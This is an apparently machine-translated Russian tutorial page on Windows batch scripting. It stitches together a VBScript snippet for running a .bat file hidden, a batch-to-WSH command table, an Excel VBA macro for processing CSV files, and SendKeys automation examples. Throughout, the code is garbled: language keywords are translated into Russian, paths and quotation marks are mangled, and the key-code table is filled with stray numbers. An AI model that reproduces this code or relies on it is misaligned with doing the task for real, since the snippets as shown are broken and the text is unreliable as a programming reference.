    ΠŸΠ°ΠΊΠ΅Ρ‚Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» содСрТит Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ сцСнарии ΠΈΠ»ΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ для ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ запуска с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€Π° ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки, эти ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ быстрСС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ эти Ρ„Π°ΠΉΠ»Ρ‹ сцСнариСв ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌΠΈ для слуТб вСдСния ΠΆΡƒΡ€Π½Π°Π»Π°, для Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π·Π°Π΄Π°Π½ΠΈΠΉ ΠΈ для настройки Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… слуТб Π² срСдС Microsoft Windows. Π›ΡƒΡ‡ΡˆΠ΅Π΅ Π² ΠΏΠ°ΠΊΠ΅Ρ‚Π½Ρ‹Ρ… сцСнариях (Ρ‡Ρ‚ΠΎ я понял) — это ΠΈΡ… синтаксис, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ мСняСтся. Π­Ρ‚ΠΎ остаСтся Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π½Ρ‹ΠΌ для всСх вСрсий ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмы Windows, поэтому написанныС ΠΎΠ΄Π½Π°ΠΆΠ΄Ρ‹ скрипты Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ свою Ρ€Π°Π±ΠΎΡ‚Ρƒ Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠ½ΠΎΠ³ΠΈΡ… Π»Π΅Ρ‚.Π‘ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΠ³ΠΎ, Π½Π΅ Ρ‚Π°ΠΊ просто ΠΏΠΈΡΠ°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ слоТныС ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС ΠΈΠ»ΠΈ ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΠ΅ снова ΠΈ снова; Π»ΡƒΡ‡ΡˆΠ΅ Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΈΡ… ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· Π² Ρ„Π°ΠΉΠ» Π±Π»ΠΎΠΊΠ½ΠΎΡ‚Π° с Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ .bat, Ρ‡Ρ‚ΠΎΠ±Ρ‹ эти ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΠ»ΠΈΡΡŒ Π² собранном ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠΌ порядкС.

    НСвидимый запуск ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π°

    Π•ΡΡ‚ΡŒ нСсколько способов Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ этого, Π½ΠΎ самый ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΉ — Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ сцСнарий для запуска вашСго ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π° (написаниС сцСнария для бСзопасного выполнСния Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ сцСнария) Π² скрытом Ρ€Π΅ΠΆΠΈΠΌΠ΅.

    1. Π£ΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ WshShell = CreateObject («WScript.Shell»)
    2. WshShell.Run chr (34) & «C: \ Users \ Foobar \ Machines \ ML \ StartMLStudio.bat» & Chr (34), 0
    3. Π£ΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ WshShell = НичСго

    ΠŸΠ΅Ρ€Π²Π°Ρ строка запустит процСсс ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΠΈ ΠΎΠΊΠ½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ дальнСйшиС ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹, Π·Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ установили Π½Π°Π±ΠΎΡ€ символов для тСкстовой строки ΠΈ, Π½Π°ΠΊΠΎΠ½Π΅Ρ†, ΠΌΡ‹ ΡƒΠΊΠ°Π·Π°Π»ΠΈ ΠΏΡƒΡ‚ΡŒ ΠΊ скрытому ΠΏΠ°ΠΊΠ΅Ρ‚Π½ΠΎΠΌΡƒ Ρ„Π°ΠΉΠ»Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ.

    Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΊΠΎΠ΄, ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ ΠΏΡƒΡ‚ΡŒ, сохранитС Ρ„Π°ΠΉΠ» с Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ.vbs для запуска скрытых ΠΊΠΎΠΌΠ°Π½Π΄Π½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ², содСрТащихся Π² сцСнарии, ΠΈ Π½Π°ΡΠ»Π°ΠΆΠ΄Π°ΠΉΡ‚Π΅ΡΡŒ.

    ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅

    Π― ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡ΠΈΡ‚Π°ΡŽ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ этот Ρ„Π°ΠΉΠ» hiderunningbatchscript.bat Π² Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³, Π³Π΄Π΅ Π²Ρ‹ размСстили сам Ρ„Π°ΠΉΠ» batch.bat, это Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π²ΠΎ всСх случаях, Π½ΠΎ Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… срСдах ΠΎΠ½ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Ссли ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π³Π΄Π΅-Ρ‚ΠΎ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ.

    ΠŸΠ°ΠΊΠ΅Ρ‚Π½Ρ‹Π΅ сцСнарии для Windows

    Для прСобразования .Π€Π°ΠΉΠ»Ρ‹ BAT Π² сцСнарии WSH Π²Π»Π΅Ρ‡Π΅Ρ‚ Π·Π° собой Π·Π°ΠΌΠ΅Π½Ρƒ ΠΊΠΎΠΌΠ°Π½Π΄ NT net.exe ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌΠΈ ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈ свойства WSH.

    Π’ΠΠ‘Π›Π˜Π¦Π 1. ΠšΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ WSH для ΠΊΠΎΠΌΠ°Π½Π΄ ΠΏΠ°ΠΊΠ΅Ρ‚Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π°
    Π’Ρ…ΠΎΠ΄ Π² систСму
    Π—Π°Π΄Π°Ρ‡Π° сцСнария
    РСшСниС для ΠΏΠ°ΠΊΠ΅Ρ‚Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π° РСшСниС WSH
    ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ использования ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° ΠΈ дискового пространства РСсурсный ΠΊΠΎΠΌΠΏΠ»Π΅ΠΊΡ‚ ΡƒΡ‚ΠΈΠ»ΠΈΡ‚ diruse. exe ΠΈ diskuse.exe ΠžΠ±ΡŠΠ΅ΠΊΡ‚ FileSystemObject VBScript
    Π’Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠ³ΠΎ Π²Π²ΠΎΠ΄Π°-Π²Ρ‹Π²ΠΎΠ΄Π° Π‘ΠΈΠΌΠ²ΠΎΠ»Ρ‹ пСрСнаправлСния ΠΊΠΎΠΌΠ°Π½Π΄ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,>, >>, <, |) ΠΈ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Ρ‹ ΠΊΠΎΠΌΠ°Π½Π΄ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π°ΠΉΡ‚ΠΈ, Π΅Ρ‰Π΅, ΡΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ) ΠžΠ±ΡŠΠ΅ΠΊΡ‚ FileSystemObject VBScript
    ИспользованиС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… срСды Команда Set ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠ³ΠΎ процСссора ΠΈ конструкция% EnvironmentVariable% Бвойство Environment ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΠΈ WSH
    ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° ошибок ERRORLEVEL пСрСмСнная срСды ΠžΠ±ΡŠΠ΅ΠΊΡ‚ Err VBScript
    ΠŸΡ€ΠΈΠ½ΡΡ‚ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π²Π²ΠΎΠ΄Π° АргумСнты ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ сцСнарий обращаСтся Ρ‡Π΅Ρ€Π΅Π·% 1,% 2,% 3 ΠΈ Ρ‚. Π”. АргумСнты ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ сцСнарий обращаСтся Ρ‡Π΅Ρ€Π΅Π· свойство Arguments WScript, ΠΈΠ»ΠΈ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π²Π²ΠΎΠ΄ΠΈΡ‚ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎ, Π° сцСнарий ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ доступ Ρ‡Π΅Ρ€Π΅Π· Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ InputBox VBScript
    ΠžΠ±Π΅ΡΠΏΠ΅Ρ‡Π΅Π½ΠΈΠ΅ Π²Ρ‹Π²ΠΎΠ΄Π° сцСнария Команда Echo ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠ³ΠΎ процСссора ΠœΠ΅Ρ‚ΠΎΠ΄ Echo WScript, ΠΌΠ΅Ρ‚ΠΎΠ΄ Popup ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° WSH Shell ΠΈΠ»ΠΈ функция MsgBox VBScript
    УстановлСниС сСтСвых ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΉ ΠšΠΎΠΌΠ°Π½Π΄Ρ‹ net. exe Π² NT Π‘Π΅Ρ‚Π΅Π²ΠΎΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ WSH
    Π’Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π²Π²ΠΎΠ΄Π°-Π²Ρ‹Π²ΠΎΠ΄Π° рССстра РСсурсный ΠΊΠΎΠΌΠΏΠ»Π΅ΠΊΡ‚, ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Π° Ρ€Π΅Π³.exe ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹ RegDelete, RegRead ΠΈ RegWrite ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° WSH Shell
    Π’Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π²Π½Π΅ΡˆΠ½ΠΈΡ… ΠΊΠΎΠΌΠ°Π½Π΄ Имя ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ ΠΈΠ»ΠΈ ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Ρ‹ ΠœΠ΅Ρ‚ΠΎΠ΄ Run ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° WSH Shell
    Поиск с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π‘ΠΈΠΌΠ²ΠΎΠ»Ρ‹ пСрСнаправлСния ΠΊΠΎΠΌΠ°Π½Π΄ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <, |) ΠΈ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Ρ‹ ΠΊΠΎΠΌΠ°Π½Π΄ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, find, findstr) ΠŸΡ€Π΅Π΄ΡΡ‚ΠΎΡΡ‰ΠΈΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ VBScript RegExp
    Π£ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π³Ρ€ΡƒΠΏΠΏΠ°ΠΌΠΈ ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌΠΈ NT ΡΠ΅Ρ‚ΡŒ.ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ exe ΠΈ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΊΠΎΠΌΠΏΠ»Π΅ΠΊΡ‚Ρ‹ рСсурсов ΠΈ сторонниС ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Ρ‹ ADSI

    Как ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π·Π°ΠΊΡ€Ρ‹Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ VBA, VBS ΠΈ BAT для прСдотвращСния ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Β«.xlsm Π·Π°Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Π½ для рСдактирования»?

      ΠŸΠΎΠ΄ΠΏΡ€ΠΎΡ†Π΅ΡΡDrillDataCSV ()
    Dim wbScript ΠΊΠ°ΠΊ рабочая ΠΊΠ½ΠΈΠ³Π°
    'ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Π°Ρ для хранСния исходного Ρ„Π°ΠΉΠ»Π° ΠΊΠ½ΠΈΠ³ΠΈ
    Dim wbΠžΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΊΠ½ΠΈΠ³Ρƒ
    'ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Π°Ρ для хранСния ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ Π²Ρ‹Π²ΠΎΠ΄Π° Π€Π°ΠΉΠ» Ρ€Π°Π±ΠΎΡ‡Π΅ΠΉ ΠΊΠ½ΠΈΠ³ΠΈ для всСй ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ
    Dim wbNew As Workbook
    
    'Π’ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅ ΠΌΠ½ΠΎΠ³ΠΎΠΏΠΎΡ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒ
        Application. MultiThreadedCalculation.Π’ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ = Π˜ΡΡ‚ΠΈΠ½Π°
    
        УстановитС wbScript = ActiveWorkbook
        
    'ΠŸΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ с Ρ„Π°ΠΉΠ»Π°ΠΌΠΈ
        ChDir strPath
    'Бписок всСх Ρ„Π°ΠΉΠ»ΠΎΠ² CSV Π² ΠΏΠ°ΠΏΠΊΠ΅ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΠΏΡƒΡ‚ΠΈ
        strExtension = Dir ("*. csv")
        
    'Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Π½ΠΎΠ²ΡƒΡŽ ΠΊΠ½ΠΈΠ³Ρƒ для хранСния всСй статистичСской ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌ
        УстановитС wbNew = Workbooks.Add (1)
        
    'Π˜Π·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΡƒΡ‚ΡŒ, имя ΠΈ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Ρ„Π°ΠΉΠ»Π° Π½Π° ΠΊΠ½ΠΈΠ³Ρƒ XLSM Excel с ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ макросов
        wbNew.SaveAs fileName: = Format (DateTime.Now, «ггггММдд Ρ‡Ρ‡-ΠΌΠΌ-сс») & «ПанСль Π²Ρ‹Π²ΠΎΠ΄Π°Β», FileFormat: = xlOpenXMLWorkbookMacroEnabled
     
           
    'Основной Ρ†ΠΈΠΊΠ» ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ²
        Π‘Π΄Π΅Π»Π°Ρ‚ΡŒ ΠΏΠΎΠΊΠ° strExtension <> ""
            УстановитС wbOpen = Workbooks.ΠžΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ (strPath & "\" & strExtension)
            
            Π‘ wbOpen
                Π€ΠΎΡ€ΠΌΠ°Ρ‚ Π·Π²ΠΎΠ½ΠΊΠ°
                Π’Ρ‹Π·ΠΎΠ² FindExtremeValues ​​(fileCount, Sheets (1) .Name, wbNew, wbOpen, wbScript)
                Π’Ρ‹Π·ΠΎΠ² FindStatValues ​​(fileCount, wbOpen.Sheets (1) .Name, wbNew, wbOpen, wbScript)
                .Close SaveChanges: = False. 
            ΠšΠΎΠ½Π΅Ρ† с
                   
    'ΠŸΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌΡƒ CSV-Ρ„Π°ΠΉΠ»Ρƒ Π² спискС
            strExtension = Dir
        
        ΠŸΠ΅Ρ‚Π»Ρ
            
    'Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅ лист "Вся статистика" Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌ.
        Π’Π°Π±Π»ΠΈΡ†Ρ‹ («Вся статистика»).ΠΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ
        
    'Π£ΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π²Ρ‹Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π² ячСйку A1, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ Π»Π΅Π²Ρ‹ΠΉ ΡƒΠ³ΠΎΠ» листа Π±Ρ‹Π» настроСн для просмотра
        Π”ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ ("A1"). Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅
                    
    'ΠŸΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ оповСщСния
        Application.DisplayAlerts = True
                
    'Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Ρ„Π°ΠΉΠ» с Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΌ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ
        wbNew.Save
                
    'Π—Π°ΠΊΡ€ΠΎΠΉΡ‚Π΅ сам Ρ„Π°ΠΉΠ» сцСнария, Π½Π΅ сохраняя
        wbScript.Close (Π›ΠΎΠΆΡŒ)
    
        Application.ScreenUpdating = True
        Application.Calculation = xlCalculationAutomatic
        
        ΠŸΡ€ΠΈ ошибкС GoTo 0
    ΠšΠΎΠ½Ρ†Π΅Π²ΠΎΠΉ ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄Π½ΠΈΠΊ  

    АвтоматичСскоС Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ любой клавиши с использованиСм ΠΏΠ°ΠΊΠ΅Ρ‚Π½ΠΎΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ ΠΏΡƒΡ‚Π΅ΠΌ открытия ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ Π·Π°ΠΏΡƒΡ‰Π΅Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ прилоТСния

    Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅

    Π’ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмС Windows любая ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ Ρ‡Π΅Ρ€Π΅Π· ΠΏΠ°ΠΊΠ΅Ρ‚Π½ΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ.ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΎΡ‡Π΅Π½ΡŒ слоТно Π½Π°ΠΆΠ°Ρ‚ΡŒ Π»ΡŽΠ±ΡƒΡŽ ΠΊΠ»Π°Π²ΠΈΡˆΡƒ Π² ΠΏΠ°ΠΊΠ΅Ρ‚Π½ΠΎΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅. Но это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ косвСнно с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΠ°ΠΊΠ΅Ρ‚Π½ΠΎΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ с использованиСм VBScript.

    Π€ΠΎΠ½

    VBScript ΠΈΠΌΠ΅Π΅Ρ‚ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ для наТатия любой клавиши, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Β« WshShell Β».

    ИспользованиС кода

    ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π‘Π»ΠΎΠΊΠ½ΠΎΡ‚ ΠΈ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΏΠΈΡˆΠ΅Ρ‚. Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Ρ…ΠΎΡ‡Π΅Ρ‚ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Ρ„Π°ΠΉΠ» автоматичСски с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΠ°ΠΊΠ΅Ρ‚Π½ΠΎΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹. Π’ этой ситуации ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Ρƒ:

    1. Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Ρ„Π°ΠΉΠ» сцСнария VB с ΠΈΠΌΠ΅Π½Π΅ΠΌ program.s ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Β«Ctrl + sΒ».

    2. Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» с ΠΈΠΌΠ΅Π½Π΅ΠΌ auto.bat , Π½Π°ΠΏΠΈΡˆΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ ΠΈ сохранитС Π΅Π³ΠΎ:
      wscript "F: \ Ict_Backup \ Desktop \ program.vbs" 
    3. ЗапуститС ΠΊΠΎΠΌΠ°Π½Π΄Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ». Он попросит ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Ρ„Π°ΠΉΠ».
    4. Π”Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€: автоматичСский запуск Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Firefox Π² полноэкранном Ρ€Π΅ΠΆΠΈΠΌΠ΅ (спящий Ρ€Π΅ΠΆΠΈΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для оТидания запуска прилоТСния Π² систСмС).
      УстановитС oShell = CreateObject ("WScript. Shell")
      oShell.Π—Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ("" "C: \ Program Files \ Mozilla Firefox \ firefox.exe" "")
      WScript.Sleep 3000
      oShell.App АктивируйтС "firefox"
      WScript.Sleep 3000
      oShell.SendKeys "~"
      oShell.SendKeys "{F11}" 

    Бписок кодов клавиш для VBScript:

    Escape 9019 {Escape 9019 }75 9036 Π’Π»Π΅Π²ΠΎ 9375 0362 Π­ΠΊΡ€Π°Π½ ΠΏΠ΅Ρ‡Π°Ρ‚ΠΈ 9036 9036 9036 9036 903 903 903
    Клавиша Код
    ΠŸΠ΅Ρ€Π΅Ρ€Ρ‹Π² {BREAK}
    Backspace {Backspace}, {BKSP} ΠΈΠ»ΠΈ {BS} Π£Π΄Π°Π»ΠΈΡ‚ΡŒ ΠΈΠ»ΠΈ {DEL}
    Π‘Ρ‚Ρ€Π΅Π»ΠΊΠ° Π²Π½ΠΈΠ· {Π’ΠΠ˜Π—}
    ΠšΠΎΠ½Π΅Ρ† {END}
    Π’Π²Π΅Π΄ΠΈΡ‚Π΅ {ENTER} ΠΈΠ»ΠΈ ~
    Π‘ΠΏΡ€Π°Π²ΠΊΠ° {HELP}
    Home {HOME}
